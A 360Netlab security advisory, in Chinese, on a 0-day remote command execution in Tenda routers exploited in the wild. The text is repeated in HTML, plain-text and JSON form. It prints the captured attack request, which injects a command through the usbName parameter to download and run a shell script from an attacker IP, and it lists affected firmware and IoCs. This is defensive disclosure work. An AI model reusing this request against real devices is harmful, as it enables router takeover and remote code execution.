Tenda路由器在野0-day漏洞分析报告
<!--kg-card-begin: markdown--><p><em>本文作者：<a href="https://twitter.com/_O_owl">马延龙</a>，<a href="https://twitter.com/zom3y3">叶根深</a></em></p>
<h3 id="">背景介绍</h3>
<p>2020年8月21号开始，360Netlab未知威胁检测系统监测到有攻击者使用Tenda路由器0-day漏洞，攻击我们的Anglerfish蜜罐节点。</p>
<h3 id="">漏洞分析</h3>
<p>漏洞类型: 未授权远程命令执行漏洞<br>
漏洞原因: <code>/httpd/cgi-/bin/httpd</code>程序通过<code>formSetSambaConf</code>函数处理samba接口配置信息时，没有验证账户登录。同时，它在参数<code>action</code>值为<code>del</code>时，没有对<code>usbName</code>参数进行安全过滤，就拼接为<code>cfm</code>命令，并由<code>doSystemCmd</code>函数执行，导致未授权远程命令执行漏洞。</p>
<h3 id="poc">在野PoC （只内部分享，不对外公开）</h3>
<pre><code>GET /goform/SetSambaCfg/.js?action=del&amp;usbName=A;wget%20http%3A//45.112.205.60%3A80/td.sh%20-O%20/tmp/t.sh%3Bchmod%20775%20/tmp/t.sh%3B/tmp/t.sh%202d4f6c9330303039 HTTP/1.1
Host: {target}:8010
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept-Language: en-US,en;q=0.5
</code></pre>
<h3 id="">时间线</h3>
<pre><code>2020年8月28号，我们邮件联系Tenda厂商并报告了漏洞详情以及在野攻击PoC。
</code></pre>
<h3 id="">已知受影响固件列表</h3>
<pre><code>US_AC9V1.0BR_V15.03.05.14_multi_TD01
US_AC9V1.0BR_V15.03.05.16_multi_TRU01
US_AC9V1.0BR_V15.03.2.10_multi_TD01
US_AC9V1.0BR_V15.03.2.13_multi_TD01
US_AC9V1.0BR_V15.03.2.13_multi_TDE01
US_AC9V3.0RTL_V15.03.06.42_multi_TD01
US_AC10UV1.0RTL_V15.03.06.48_multi_TDE01
US_AC15V1.0BR_V15.03.05.18_multi_TD01
US_AC15V1.0BR_V15.03.05.19_multi_TD01
US_AC15V1.0BR_V15.03.1.8_EN_TDEUS
US_AC15V1.0BR_V15.03.1.10_EN_TDC+TDEUS
US_AC15V1.0BR_V15.03.1.10_EN_TDCTDEUS
US_AC15V1.0BR_V15.03.1.12_multi_TD01
US_AC15V1.0BR_V15.03.1.16_multi_TD01
US_AC15V1.0BR_V15.03.1.17_multi_TD01
US_AC18V1.0BR_V15.03.05.05_multi_TD01
US_AC18V1.0BR_V15.03.3.6_multi_TD01
US_AC18V1.0BR_V15.03.3.10_multi_TD01
ac9_kf_V15.03.05.19(6318_)_cn
ac18_kf_V15.03.05.19(6318_)_cn
</code></pre>
<h3 id="">处置建议</h3>
<p>我们建议Tenda 路由器用户及时检查并更新固件系统，同时检查是否存在异常进程和网络连接。<br>
我们建议读者对相关IP和URL进行监控和封锁。</p>
<h3 id="">联系我们</h3>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件<strong>netlab[at]360.cn</strong>联系我们。</p>
<h3 id="ioc">IoC</h3>
<p>Scanner &amp; Downloader IP</p>
<pre><code>45.249.92.60        	China               	ASN133115           	HK Kwaifong Group Limited
</code></pre>
<p>Websocket C2:</p>
<pre><code>ws://q9uvveypiB.notepod2.com:443
</code></pre>
<p>URL</p>
<pre><code>http://45.112.205.60/td.sh
</code></pre>
<!--kg-card-end: markdown-->
本文作者：马延龙，叶根深



背景介绍


2020年8月21号开始，360Netlab未知威胁检测系统监测到有攻击者使用Tenda路由器0-day漏洞，攻击我们的Anglerfish蜜罐节点。



漏洞分析


漏洞类型: 未授权远程命令执行漏洞

漏洞原因: /httpd/cgi-/bin/httpd程序通过formSetSambaConf函数处理samba接口配置信息时，没有验证账户登录。同时，它在参数action值为del时，没有对usbName参数进行安全过滤，就拼接为cfm命令，并由doSystemCmd函数执行，导致未授权远程命令执行漏洞。



在野PoC （只内部分享，不对外公开）


GET /goform/SetSambaCfg/.js?action=del&usbName=A;wget%20http%3A//45.112.205.60%3A80/td.sh%20-O%20/tmp/t.sh%3Bchmod%20775%20/tmp/t.sh%3B/tmp/t.sh%202d4f6c9330303039 HTTP/1.1
Host: {target}:8010
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept-Language: en-US,en;q=0.5




时间线


2020年8月28号，我们邮件联系Tenda厂商并报告了漏洞详情以及在野攻击PoC。




已知受影响固件列表


US_AC9V1.0BR_V15.03.05.14_multi_TD01
US_AC9V1.0BR_V15.03.05.16_multi_TRU01
US_AC9V1.0BR_V15.03.2.10_multi_TD01
US_AC9V1.0BR_V15.03.2.13_multi_TD01
US_AC9V1.0BR_V15.03.2.13_multi_TDE01
US_AC9V3.0RTL_V15.03.06.42_multi_TD01
US_AC10UV1.0RTL_V15.03.06.48_multi_TDE01
US_AC15V1.0BR_V15.03.05.18_multi_TD01
US_AC15V1.0BR_V15.03.05.19_multi_TD01
US_AC15V1.0BR_V15.03.1.8_EN_TDEUS
US_AC15V1.0BR_V15.03.1.10_EN_TDC+TDEUS
US_AC15V1.0BR_V15.03.1.10_EN_TDCTDEUS
US_AC15V1.0BR_V15.03.1.12_multi_TD01
US_AC15V1.0BR_V15.03.1.16_multi_TD01
US_AC15V1.0BR_V15.03.1.17_multi_TD01
US_AC18V1.0BR_V15.03.05.05_multi_TD01
US_AC18V1.0BR_V15.03.3.6_multi_TD01
US_AC18V1.0BR_V15.03.3.10_multi_TD01
ac9_kf_V15.03.05.19(6318_)_cn
ac18_kf_V15.03.05.19(6318_)_cn




处置建议


我们建议Tenda 路由器用户及时检查并更新固件系统，同时检查是否存在异常进程和网络连接。

我们建议读者对相关IP和URL进行监控和封锁。



联系我们


感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。



IoC


Scanner & Downloader IP


45.249.92.60        	China               	ASN133115           	HK Kwaifong Group Limited



Websocket C2:


ws://q9uvveypiB.notepod2.com:443



URL


http://45.112.205.60/td.sh


{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"*本文作者：[马延龙](https://twitter.com/_O_owl)，[叶根深](https://twitter.com/zom3y3)*\n### 背景介绍\n2020年8月21号开始，360Netlab未知威胁检测系统监测到有攻击者使用Tenda路由器0-day漏洞，攻击我们的Anglerfish蜜罐节点。\n\n### 漏洞分析\n漏洞类型: 未授权远程命令执行漏洞\n漏洞原因: `/httpd/cgi-/bin/httpd`程序通过`formSetSambaConf`函数处理samba接口配置信息时，没有验证账户登录。同时，它在参数`action`值为`del`时，没有对`usbName`参数进行安全过滤，就拼接为`cfm`命令，并由`doSystemCmd`函数执行，导致未授权远程命令执行漏洞。\n\n### 在野PoC （只内部分享，不对外公开）\n```\nGET /goform/SetSambaCfg/.js?action=del&usbName=A;wget%20http%3A//45.112.205.60%3A80/td.sh%20-O%20/tmp/t.sh%3Bchmod%20775%20/tmp/t.sh%3B/tmp/t.sh%202d4f6c9330303039 HTTP/1.1\nHost: {target}:8010\nConnection: keep-alive\nAccept-Encoding: gzip, deflate\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nUser-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0\nAccept-Language: en-US,en;q=0.5\n```\n\n### 时间线\n```\n2020年8月28号，我们邮件联系Tenda厂商并报告了漏洞详情以及在野攻击PoC。\n```\n\n### 已知受影响固件列表\n```\nUS_AC9V1.0BR_V15.03.05.14_multi_TD01\nUS_AC9V1.0BR_V15.03.05.16_multi_TRU01\nUS_AC9V1.0BR_V15.03.2.10_multi_TD01\nUS_AC9V1.0BR_V15.03.2.13_multi_TD01\nUS_AC9V1.0BR_V15.03.2.13_multi_TDE01\nUS_AC9V3.0RTL_V15.03.06.42_multi_TD01\nUS_AC10UV1.0RTL_V15.03.06.48_multi_TDE01\nUS_AC15V1.0BR_V15.03.05.18_multi_TD01\nUS_AC15V1.0BR_V15.03.05.19_multi_TD01\nUS_AC15V1.0BR_V15.03.1.8_EN_TDEUS\nUS_AC15V1.0BR_V15.03.1.10_EN_TDC+TDEUS\nUS_AC15V1.0BR_V15.03.1.10_EN_TDCTDEUS\nUS_AC15V1.0BR_V15.03.1.12_multi_TD01\nUS_AC15V1.0BR_V15.03.1.16_multi_TD01\nUS_AC15V1.0BR_V15.03.1.17_multi_TD01\nUS_AC18V1.0BR_V15.03.05.05_multi_TD01\nUS_AC18V1.0BR_V15.03.3.6_multi_TD01\nUS_AC18V1.0BR_V15.03.3.10_multi_TD01\nac9_kf_V15.03.05.19(6318_)_cn\nac18_kf_V15.03.05.19(6318_)_cn\n```\n\n### 处置建议\n我们建议Tenda 路由器用户及时检查并更新固件系统，同时检查是否存在异常进程和网络连接。\n我们建议读者对相关IP和URL进行监控和封锁。\n\n### 联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件**netlab[at]360.cn**联系我们。\n\n\n### IoC\nScanner & Downloader IP\n```\n45.249.92.60        \tChina               \tASN133115           \tHK Kwaifong Group Limited\n```\nWebsocket C2:\n```\nws://q9uvveypiB.notepod2.com:443\n```\n\nURL\n```\nhttp://45.112.205.60/td.sh\n```\n\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"}